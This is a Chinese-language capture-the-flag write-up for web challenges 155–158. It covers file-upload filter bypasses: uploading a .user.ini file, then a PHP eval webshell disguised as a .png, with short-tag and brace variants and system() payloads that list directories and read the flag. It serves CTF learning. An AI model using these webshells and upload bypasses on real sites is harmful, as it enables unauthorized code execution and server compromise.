Web155
进入界面:
审计:
前端校验:限制传入文件的后缀为.png
MIME验证
黑名单过滤
思路/EXP:
先上传.user.ini文件
:
将.user.ini.png文件上传,然后抓包去掉.png后缀,就同时绕过了前端校验与MIME验证。
然后上传名为shell.png的一句话木马文件:
我们使用蚁剑连接/upload目录下的主页文件:
直接连接/upload目录显示返回数据为空。
连接/upload/index.php则连接成功:
在上级目录中找到了flag.
Web156
进入界面:
审计:
前端校验+MIME验证+黑名单
思路/EXP:
上传user.ini文件:
上传shell.png文件:
提示文件类型不合规,但我们确实上传的是.png文件,所以推测是对文件内容的检测。
判断一下是过滤了什么:
发现过滤了php和[
<?php @eval($_POST[1]);?> //原本的一句话木马<?= @eval($_POST{1});?> //短标签替换php,花括号代替中括号
修改后上传成功:
蚁剑连接/upload即可:
得到flag.
拓展:
不能写入一句话木马,也可以直接利用上传进行RCE:
<?=system('ls ../');?>
<?=system('tac ../fla*');?>
Web157
进入界面:
审计:
前端校验+MIME验证+黑名单
思路/EXP:
上传.user.ini
上传shell.png
抓包测试过滤了哪些内容:
这里注意要取消对部分符号的自动URL编码,不然编码后可以上传,但是实际上字符是被过滤了。
这里[]和{}
都被过滤了,只能直接进行RCE了。
<?=system('ls ../')?> //找到flag.php
<?=system('tac ../fla*')?>
查看/upload,得到flag.
Web158
进入界面:
审计:
前端校验+MIME验证+黑名单
思路/EXP:
上传.user.ini:
上传shell.png,抓包测试过滤了哪些字符。
发现与上一题相同,直接使用上一题的payload获取flag即可。